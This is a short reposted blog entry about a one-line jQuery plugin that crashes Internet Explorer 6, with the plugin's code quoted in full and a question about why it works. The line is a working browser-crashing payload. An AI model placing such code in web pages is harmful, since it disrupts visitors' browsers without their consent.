jQuery one-line plugin to crash IE6

Malicious code that targets browsers has quite some history and it gets bizarre when you see just how easy it can be to crash a certain browser. If you remember, an input type of "crash" used to kill IE6. Now there is an interesting one line jQuery plugin to crash IE6 available:

/**
* jQuery Crash (http://mktgdept.com/jquery-crash)
* A jQuery plugin to crash IE6.
*
* v0.0.2 - 5 March 2010
*
* Copyright (c) 2009 Chad Smith (http://twitter.com/chadsmith)
* Dual licensed under the MIT and GPL licenses.
* http://www.opensource.org/licenses/mit-license.php
* http://www.opensource.org/licenses/gpl-license.php
*
* Use $.crash();
*
**/

;jQuery.crash=function(x){for(x in document.open);};
Any ideas why this works?

轉自:http://ajaxian.com/archives/jquery-one-line-plugin-to-crash-ie6
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章